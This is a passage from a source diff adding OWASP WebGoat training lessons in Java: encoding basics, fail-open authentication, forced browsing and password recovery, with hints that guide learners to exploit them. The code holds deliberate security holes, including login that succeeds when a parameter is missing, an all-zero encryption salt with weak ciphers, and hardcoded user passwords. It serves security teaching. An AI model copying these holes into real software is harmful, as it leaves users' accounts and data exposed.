public String getTitle()
{
return "Dangerous Use of Eval";
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
/**
* Check to see if JSP says they passed the lesson.
* @param s
*/
private void checkSuccess(WebSession s)
{
javax.servlet.http.HttpSession session = s.getRequest().getSession();
if(session.getAttribute(PASSED) != null)
{
makeSuccess(s);
session.removeAttribute(PASSED);
}
}
}

875
main/project/JavaSource/org/owasp/webgoat/lessons/Encoding.java Normal file
View File

@ -0,0 +1,875 @@
package org.owasp.webgoat.lessons;
import java.io.IOException;
import java.net.URLDecoder;
import java.net.URLEncoder;
import java.nio.ByteBuffer;
import java.nio.CharBuffer;
import java.nio.charset.Charset;
import java.nio.charset.CharsetDecoder;
import java.nio.charset.CharsetEncoder;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.ArrayList;
import java.util.List;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEParameterSpec;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
import org.apache.ecs.html.B;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003
*/
public class Encoding extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
private final static String INPUT = "input";
private final static String KEY = "key";
// local encoders
private static sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
private static sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
// encryption constant
private static byte[] salt =
{
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
(byte) 0x00
};
/**
* Returns the base 64 decoding of a string.
*
* @param str Description of the Parameter
* @return Description of the Return Value
* @exception IOException Description of the Exception
*/
public static String base64Decode( String str ) throws IOException
{
byte[] b = decoder.decodeBuffer( str );
return ( new String( b ) );
}
/**
* Description of the Method
*
* @param c Description of the Parameter
* @return Description of the Return Value
* @exception IOException Description of the Exception
*/
public static String base64Decode( char[] c ) throws IOException
{
return base64Decode( new String( c ) );
}
/**
* Description of the Method
*
* @param c Description of the Parameter
* @return Description of the Return Value
*/
public static String base64Encode( char[] c )
{
return base64Encode( new String( c ) );
}
/**
* Returns the base 64 encoding of a string.
*
* @param str Description of the Parameter
* @return Description of the Return Value
*/
public static String base64Encode( String str )
{
byte[] b = str.getBytes();
return ( encoder.encode( b ) );
}
/**
* Description of the Method
*
* @param b Description of the Parameter
* @return Description of the Return Value
*/
public static String base64Encode( byte[] b )
{
return ( encoder.encode( b ) );
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent( WebSession s )
{
ElementContainer ec = new ElementContainer();
try
{
String userInput = s.getParser().getRawParameter( INPUT, "" );
String userKey = s.getParser().getStringParameter( KEY, "" );
Table table = new Table();
TR tr = new TR();
tr.addElement( new TD( "Enter a string: " ) );
Input input = new Input( Input.TEXT, INPUT, userInput );
tr.addElement( new TD().addElement( input ) );
table.addElement( tr );
tr = new TR();
tr.addElement( new TD( "Enter a password (optional): " ) );
Input key = new Input( Input.TEXT, KEY, userKey );
tr.addElement( new TD().addElement( key ) );
table.addElement( tr );
tr = new TR();
Element b = ECSFactory.makeButton( "Go!" );
tr.addElement( new TD().setAlign( "center" ).setColSpan( 2 ).addElement( b ) );
table.addElement( tr );
ec.addElement( table );
ec.addElement( new P() );
Table t = new Table();
t.setWidth( "100%" );
t.setBorder( 0 );
t.setCellSpacing( 1 );
t.setCellPadding( 4 );
String description;
t.addElement( makeTitleRow( "Description", "Encoded", "Decoded" ) );
description = "Base64 encoding is a simple reversable encoding used to encode bytes into ASCII characters. Useful for making bytes into a printable string, but provides no security.";
// t.addElement( makeDescriptionRow( description ) );
t.addElement( makeRow( description, base64Encode( userInput ), base64Decode( userInput ) ) );
// t.addElement( makeSpacerRow() );
description = "Entity encoding uses special sequences like &amp;amp; for special characters. This prevents these characters from being interpreted by most interpreters.";
t.addElement( makeRow( description, HtmlEncoder.encode( userInput ), HtmlEncoder.decode( userInput ) ) );
description = "Password based encryption (PBE) is strong encryption with a text password. Cannot be decrypted without the password";
t.addElement( makeRow( description, encryptString( userInput, userKey ), decryptString( userInput, userKey ) ) );
description = "MD5 hash is a checksum that can be used to validate a string or byte array, but cannot be reversed to find the original string or bytes. For obscure cryptographic reasons, it is better to use SHA-256 if you have a choice.";
t.addElement( makeRow( description, hashMD5( userInput ), "Cannot reverse a hash" ) );
description = "SHA-256 hash is a checksum that can be used to validate a string or byte array, but cannot be reversed to find the original string or bytes.";
t.addElement( makeRow( description, hashSHA( userInput ), "N/A" ) );
description = "Unicode encoding is...";
t.addElement( makeRow( description, "Not Implemented", "Not Implemented" ) );
description = "URL encoding is...";
t.addElement( makeRow( description, urlEncode( userInput ), urlDecode( userInput ) ) );
description = "Hex encoding simply encodes bytes into %xx format.";
t.addElement( makeRow( description, hexEncode( userInput ), hexDecode( userInput ) ) );
description = "Rot13 encoding is a way to make text unreadable, but is easily reversed and provides no security.";
t.addElement( makeRow( description, rot13( userInput ), rot13( userInput ) ) );
description = "XOR with password encoding is a weak encryption scheme that mixes a password into data.";
t.addElement( makeRow( description, xorEncode( userInput, userKey ), xorDecode( userInput, userKey ) ) );
description = "Double unicode encoding is...";
t.addElement( makeRow( description, "Not Implemented", "Not Implemented" ) );
description = "Double URL encoding is...";
t.addElement( makeRow( description, urlEncode( urlEncode( userInput ) ), urlDecode( urlDecode( userInput ) ) ) );
ec.addElement( t );
}
catch ( Exception e )
{
s.setMessage( "Error generating " + this.getClass().getName() );
e.printStackTrace();
}
if ( getLessonTracker( s ).getNumVisits() > 3 )
{
makeSuccess( s );
}
return ( ec );
}
/**
* Convenience method for encrypting a string.
*
* @param str Description of the Parameter
* @param pw Description of the Parameter
* @return String the encrypted string.
*/
public static synchronized String decryptString( String str, String pw )
{
try
{
PBEParameterSpec ps = new javax.crypto.spec.PBEParameterSpec( salt, 20 );
SecretKeyFactory kf = SecretKeyFactory.getInstance( "PBEWithMD5AndDES" );
Cipher passwordDecryptCipher = Cipher.getInstance( "PBEWithMD5AndDES/CBC/PKCS5Padding" );
char[] pass = pw.toCharArray();
SecretKey k = kf.generateSecret( new javax.crypto.spec.PBEKeySpec( pass ) );
passwordDecryptCipher.init( Cipher.DECRYPT_MODE, k, ps );
byte[] dec = decoder.decodeBuffer( str );
byte[] utf8 = passwordDecryptCipher.doFinal( dec );
return new String( utf8, "UTF-8" );
}
catch ( Exception e )
{
return ( "This is not an encrypted string" );
}
}
/**
* Convenience method for encrypting a string.
*
* @param str Description of the Parameter
* @param pw Description of the Parameter
* @return String the encrypted string.
* @exception SecurityException Description of the Exception
*/
public static synchronized String encryptString( String str, String pw ) throws SecurityException
{
try
{
PBEParameterSpec ps = new javax.crypto.spec.PBEParameterSpec( salt, 20 );
SecretKeyFactory kf = SecretKeyFactory.getInstance( "PBEWithMD5AndDES" );
Cipher passwordEncryptCipher = Cipher.getInstance( "PBEWithMD5AndDES/CBC/PKCS5Padding" );
char[] pass = pw.toCharArray();
SecretKey k = kf.generateSecret( new javax.crypto.spec.PBEKeySpec( pass ) );
passwordEncryptCipher.init( Cipher.ENCRYPT_MODE, k, ps );
byte[] utf8 = str.getBytes( "UTF-8" );
byte[] enc = passwordEncryptCipher.doFinal( utf8 );
return encoder.encode( enc );
}
catch ( Exception e )
{
return ( "Encryption error" );
}
}
/**
* Gets the category attribute of the Encoding object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.INSECURE_STORAGE;
}
/**
* Gets the hints attribute of the HelloScreen object
*
* @return The hints value
*/
public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add( "Enter a string and press 'go'" );
hints.add( "Enter 'abc' and notice the rot13 encoding is 'nop' ( increase each letter by 13 characters )." );
hints.add( "Enter 'a c' and notice the url encoding is 'a+c' ( ' ' is converted to '+' )." );
return hints;
}
/**
* Gets the instructions attribute of the Encoding object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
return "This lesson will familiarize the user with different encoding schemes. ";
}
private final static Integer DEFAULT_RANKING = new Integer(15);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ( "Encoding Basics" );
}
/**
* Returns the MD5 hash of a String.
*
* @param str Description of the Parameter
* @return Description of the Return Value
*/
public static String hashMD5( String str )
{
byte[] b = str.getBytes();
MessageDigest md = null;
try
{
md = MessageDigest.getInstance( "MD5" );
md.update( b );
}
catch ( NoSuchAlgorithmException e )
{
// it's got to be there
e.printStackTrace();
}
return ( base64Encode( md.digest() ) );
}
/**
* Returns the SHA hash of a String.
*
* @param str Description of the Parameter
* @return Description of the Return Value
*/
public static String hashSHA( String str )
{
byte[] b = str.getBytes();
MessageDigest md = null;
try
{
md = MessageDigest.getInstance( "SHA-256" );
md.update( b );
}
catch ( NoSuchAlgorithmException e )
{
// it's got to be there
e.printStackTrace();
}
return ( base64Encode( md.digest() ) );
}
/**
* Description of the Method
*
* @param hexString Description of the Parameter
* @return Description of the Return Value
*/
public static String hexDecode( String hexString )
{
try
{
if ( ( hexString.length() % 3 ) != 0 )
{
return ( "String not comprised of Hex digit pairs." );
}
char[] chars = new char[hexString.length()];
char[] convChars = new char[hexString.length() / 3];
hexString.getChars( 0, hexString.length(), chars, 0 );
for ( int i = 1; i < hexString.length(); i += 3 )
{
String hexToken = new String( chars, i, 2 );
convChars[i / 3] = (char) Integer.parseInt( hexToken, 16 );
}
return new String( convChars );
}
catch ( NumberFormatException nfe )
{
return ( "String not comprised of Hex digits" );
}
}
/**
* Description of the Method
*
* @param asciiString Description of the Parameter
* @return Description of the Return Value
*/
public static String hexEncode( String asciiString )
{
char[] ascii = new char[asciiString.length()];
asciiString.getChars( 0, asciiString.length(), ascii, 0 );
StringBuffer hexBuff = new StringBuffer();
for ( int i = 0; i < asciiString.length(); i++ )
{
hexBuff.append( "%" );
hexBuff.append( Integer.toHexString( ascii[i] ) );
}
return hexBuff.toString().toUpperCase();
}
/**
* The main program for the Encoding class
*
* @param args The command line arguments
*/
public static void main( String[] args )
{
try
{
String userInput = args[0];
String userKey = args[1];
System.out.println( "Working with: " + userInput );
System.out.print( "Base64 encoding: " );
System.out.println( base64Encode( userInput ) + " : " + base64Decode( userInput ) );
System.out.print( "Entity encoding: " );
System.out.println( HtmlEncoder.encode( userInput ) + " : " + HtmlEncoder.decode( userInput ) );
System.out.print( "Password based encryption (PBE): " );
System.out.println( encryptString( userInput, userKey ) + " : " + decryptString( userInput, userKey ) );
System.out.print( "MD5 hash: " );
System.out.println( hashMD5( userInput ) + " : " + "Cannot reverse a hash" );
System.out.print( "SHA-256 hash: " );
System.out.println( hashSHA( userInput ) + " : " + "Cannot reverse a hash" );
System.out.print( "Unicode encoding: " );
System.out.println( "Not Implemented" + " : " + "Not Implemented" );
System.out.print( "URL encoding: " );
System.out.println( urlEncode( userInput ) + " : " + urlDecode( userInput ) );
System.out.print( "Hex encoding: " );
System.out.println( hexEncode( userInput ) + " : " + hexDecode( userInput ) );
System.out.print( "Rot13 encoding: " );
System.out.println( rot13( userInput ) + " : " + rot13( userInput ) );
System.out.print( "XOR with password: " );
System.out.println( xorEncode( userInput, userKey ) + " : " + xorDecode( userInput, userKey ) );
System.out.print( "Double unicode encoding is..." );
System.out.println( "Not Implemented" + " : " + "Not Implemented" );
System.out.print( "Double URL encoding: " );
System.out.println( urlEncode( urlEncode( userInput ) ) + " : " + urlDecode( urlDecode( userInput ) ) );
}
catch ( Exception e )
{
e.printStackTrace();
}
}
/**
* Description of the Method
*
* @param value1 Description of the Parameter
* @param value2 Description of the Parameter
* @param description Description of the Parameter
* @return Description of the Return Value
*/
private TR makeRow( String description, String value1, String value2 )
{
TD desc = new TD().addElement( description ).setBgColor( "#bbbbbb" );
TD val1 = new TD().addElement( value1 ).setBgColor( "#dddddd" );
TD val2 = new TD().addElement( value2 ).setBgColor( "#dddddd" );
TR tr = new TR();
tr.addElement( desc );
tr.addElement( val1 );
tr.addElement( val2 );
return tr;
}
/**
* Description of the Method
*
* @param value1 Description of the Parameter
* @param value2 Description of the Parameter
* @param description Description of the Parameter
* @return Description of the Return Value
*/
private TR makeTitleRow( String description, String value1, String value2 )
{
TD desc = new TD().addElement( new B().addElement( description ) );
TD val1 = new TD().addElement( new B().addElement( value1 ) );
TD val2 = new TD().addElement( new B().addElement( value2 ) );
desc.setAlign( "center" );
val1.setAlign( "center" );
val2.setAlign( "center" );
TR tr = new TR();
tr.addElement( desc );
tr.addElement( val1 );
tr.addElement( val2 );
return ( tr );
}
/**
* Description of the Method
*
* @param input Description of the Parameter
* @return Description of the Return Value
*/
public static synchronized String rot13( String input )
{
StringBuffer output = new StringBuffer();
if ( input != null )
{
for ( int i = 0; i < input.length(); i++ )
{
char inChar = input.charAt( i );
if ( ( inChar >= 'A' ) & ( inChar <= 'Z' ) )
{
inChar += 13;
if ( inChar > 'Z' )
{
inChar -= 26;
}
}
if ( ( inChar >= 'a' ) & ( inChar <= 'z' ) )
{
inChar += 13;
if ( inChar > 'z' )
{
inChar -= 26;
}
}
output.append( inChar );
}
}
return output.toString();
}
/**
* Description of the Method
*
* @param str Description of the Parameter
* @return Description of the Return Value
*/
public static String unicodeDecode( String str )
{
// FIXME: TOTALLY EXPERIMENTAL
try
{
ByteBuffer bbuf = ByteBuffer.allocate( str.length() );
bbuf.put( str.getBytes() );
Charset charset = Charset.forName( "ISO-8859-1" );
CharsetDecoder decoder = charset.newDecoder();
CharBuffer cbuf = decoder.decode( bbuf );
return ( cbuf.toString() );
}
catch ( Exception e )
{
return ( "Encoding problem" );
}
}
/**
* Description of the Method
*
* @param str Description of the Parameter
* @return Description of the Return Value
*/
public static String unicodeEncode( String str )
{
// FIXME: TOTALLY EXPERIMENTAL
try
{
Charset charset = Charset.forName( "ISO-8859-1" );
CharsetEncoder encoder = charset.newEncoder();
ByteBuffer bbuf = encoder.encode( CharBuffer.wrap( str ) );
return ( new String( bbuf.array() ) );
}
catch ( Exception e )
{
return ( "Encoding problem" );
}
}
/**
* Description of the Method
*
* @param str Description of the Parameter
* @return Description of the Return Value
*/
public static String urlDecode( String str )
{
try
{
return ( URLDecoder.decode( str, "UTF-8" ) );
}
catch ( Exception e )
{
return ( "Decoding error" );
}
}
/**
* Description of the Method
*
* @param str Description of the Parameter
* @return Description of the Return Value
*/
public static String urlEncode( String str )
{
try
{
return ( URLEncoder.encode( str, "UTF-8" ) );
}
catch ( Exception e )
{
return ( "Encoding error" );
}
}
/**
* Description of the Method
*
* @param input Description of the Parameter
* @param userKey Description of the Parameter
* @return Description of the Return Value
*/
public static synchronized char[] xor( String input, String userKey )
{
if ( ( userKey == null ) || ( userKey.trim().length() == 0 ) )
{
userKey = "Goober";
}
char[] xorChars = userKey.toCharArray();
int keyLen = xorChars.length;
char[] inputChars = null;
char[] outputChars = null;
if ( input != null )
{
inputChars = input.toCharArray();
outputChars = new char[inputChars.length];
for ( int i = 0; i < inputChars.length; i++ )
{
outputChars[i] = (char) ( inputChars[i] ^ xorChars[i % keyLen] );
}
}
return outputChars;
}
/**
* Description of the Method
*
* @param input Description of the Parameter
* @param userKey Description of the Parameter
* @return Description of the Return Value
*/
public static synchronized String xorDecode( String input, String userKey )
{
try
{
String decoded = base64Decode( input );
return new String( xor( decoded, userKey ) );
}
catch ( Exception e )
{
return "String not XOR encoded.";
}
}
/**
* Description of the Method
*
* @param input Description of the Parameter
* @param userKey Description of the Parameter
* @return Description of the Return Value
*/
public static synchronized String xorEncode( String input, String userKey )
{
return base64Encode( xor( input, userKey ) );
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
}

193
main/project/JavaSource/org/owasp/webgoat/lessons/FailOpenAuthentication.java Normal file
View File

@ -0,0 +1,193 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.html.A;
import org.apache.ecs.html.IMG;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003
*/
public class FailOpenAuthentication extends WeakAuthenticationCookie
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
boolean logout = s.getParser().getBooleanParameter(LOGOUT, false);
if (logout)
{
s.setMessage("Goodbye!");
s.eatCookies();
return (makeLogin(s));
}
try
{
String username = "";
String password = "";
try
{
username = s.getParser().getRawParameter(USERNAME);
password = s.getParser().getRawParameter(PASSWORD);
// if credentials are bad, send the login page
if (!"webgoat".equals(username) || !password.equals("webgoat"))
{
s.setMessage("Invalid username and password entered.");
return (makeLogin(s));
}
}
catch (Exception e)
{
// The parameter was omitted. set fail open status complete
if (username.length() > 0
&& e.getMessage().indexOf("not found") != -1)
{
if ((username != null) && (username.length() > 0))
{
makeSuccess(s);
return (makeUser(s, username,
"Fail Open Error Handling"));
}
}
}
// Don't let the fail open pass with a blank password.
if (password.length() == 0)
{
// We make sure the username was submitted to avoid telling the user an invalid
// username/password was entered when they first enter the lesson via the side menu.
// This also suppresses the error if they just hit the login and both fields are empty.
if (username.length() != 0)
{
s.setMessage("Invalid username and password entered.");
}
return (makeLogin(s));
}
// otherwise authentication is good, show the content
if ((username != null) && (username.length() > 0))
{
return (makeUser(s, username,
"Parameters. You did not exploit the fail open."));
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
}
return (makeLogin(s));
}
/**
* Gets the category attribute of the FailOpenAuthentication object
*
* @return The category value
*/
public Category getDefaultCategory()
{
return Category.ERROR_HANDLING;
}
/**
* Gets the hints attribute of the AuthenticateScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("You can force errors during the authentication process.");
hints
.add("You can change length, existance, or values of authentication parameters.");
hints
.add("Try removing a parameter ENTIRELY with <A href=\"http://www.owasp.org/development/webscarab\">WebScarab</A>.");
return hints;
}
/**
* Gets the instructions attribute of the FailOpenAuthentication object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
return "Due to an error handling problem in the authentication mechanism, it is possible to authenticate "
+ "as the 'webgoat' user without entering a password. Try to login as the webgoat user without "
+ "specifying a password.";
}
private final static Integer DEFAULT_RANKING = new Integer(20);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the AuthenticateScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Fail Open Authentication Scheme");
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
}

153
main/project/JavaSource/org/owasp/webgoat/lessons/ForcedBrowsing.java Normal file
View File

@ -0,0 +1,153 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
* @created November 02, 2006
*/
public class ForcedBrowsing extends LessonAdapter
{
private final static String SUCCEEDED = "succeeded";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
String success = new String(s.getParser().getStringParameter(SUCCEEDED,""));
if (success.length() != 0 && success.equals("yes"))
{
ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Configuration Page")));
ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
TR tr = new TR();
tr.addElement(new TD(new StringElement("Set Admin Privileges for: ")));
Input input1 = new Input(Input.TEXT, "", "");
tr.addElement(new TD(input1));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD(new StringElement("Set Admin Password:")));
input1 = new Input(Input.PASSWORD, "", "");
tr.addElement(new TD(input1));
t1.addElement(tr);
Element b = ECSFactory.makeButton("Submit");
t1.addElement(new TR(new TD(b).setColSpan(2).setAlign("right")));
ec.addElement(t1);
makeSuccess(s);
}
else
{
ec.addElement("Can you try to force browse to the config page which should only be accessed by maintenance personnel.");
}
return ec;
}
/**
* Gets the category attribute of the ForgotPassword object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.INSECURE_CONFIGURATION;
}
/**
* Gets the hints attribute of the HelloScreen object
*
* @return The hints value
*/
public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Try to guess the URL for the config page");
hints.add("The config page is guessable and hackable");
hints.add("Play with the URL and try to guess what you can replace 'attack' with.");
hints.add("Try to navigate to http://localhost/WebGoat/conf");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(15);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Forced Browsing");
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
}
}

338
main/project/JavaSource/org/owasp/webgoat/lessons/ForgotPassword.java Normal file
View File

@ -0,0 +1,338 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import java.util.HashMap;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.A;
import org.apache.ecs.html.B;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Eric Sheridan <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created December 18, 2005
*/
public class ForgotPassword extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
private final static String USERNAME = "Username";
private static String USERNAME_RESPONSE = "";
private final static String COLOR = "Color";
private static String COLOR_RESPONSE = "";
private static int STAGE = 1;
private final static HashMap<String, String> USERS = new HashMap<String, String>();
private final static HashMap<String, String> COLORS = new HashMap<String, String>();
private void populateTables()
{
USERS.put("admin", "2275$starBo0rn3");
USERS.put("jeff", "(_I_)illia(V)s");
USERS.put("dave", "\\V/ich3r$");
USERS.put("intern", "H3yn0w");
USERS.put("webgoat", "webgoat");
COLORS.put("admin", "green");
COLORS.put("jeff", "orange");
COLORS.put("dave", "purple");
COLORS.put("intern", "yellow");
COLORS.put("webgoat", "red");
}
protected Element doStage1(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new BR().addElement(new H1().addElement("Webgoat Password Recovery ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TH().addElement("Please input your username. See the OWASP admin if you do not have an account.").setColSpan(2).setAlign("left"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("*Required Fields").setWidth("30%"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
TR row1 = new TR();
row1.addElement(new TD(new B(new StringElement("*User Name: "))));
Input input1 = new Input(Input.TEXT, USERNAME, "");
row1.addElement(new TD(input1));
t.addElement(row1);
Element b = ECSFactory.makeButton("Submit");
t.addElement(new TR(new TD(b)));
ec.addElement(t);
return (ec);
}
protected Element doStage2(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Webgoat Password Recovery "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TH().addElement("Secret Question: What is your favorite color?").setColSpan(2).setAlign("left"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("*Required Fields").setWidth("30%"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
TR row1 = new TR();
row1.addElement(new TD(new B(new StringElement("*Answer: "))));
Input input1 = new Input(Input.TEXT, COLOR, "");
row1.addElement(new TD(input1));
t.addElement(row1);
Element b = ECSFactory.makeButton("Submit");
t.addElement(new TR(new TD(b)));
ec.addElement(t);
return (ec);
}
protected Element doStage3(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Webgoat Password Recovery "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TH().addElement("For security reasons, please change your password immediately.").setColSpan(2).setAlign("left"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement(new BR().addElement(new B().addElement(new StringElement("Results:")))).setAlign("left"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement(new StringElement("Username: " + USERNAME_RESPONSE)));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement(new StringElement("Color: " + COLOR_RESPONSE)));
t.addElement(tr);
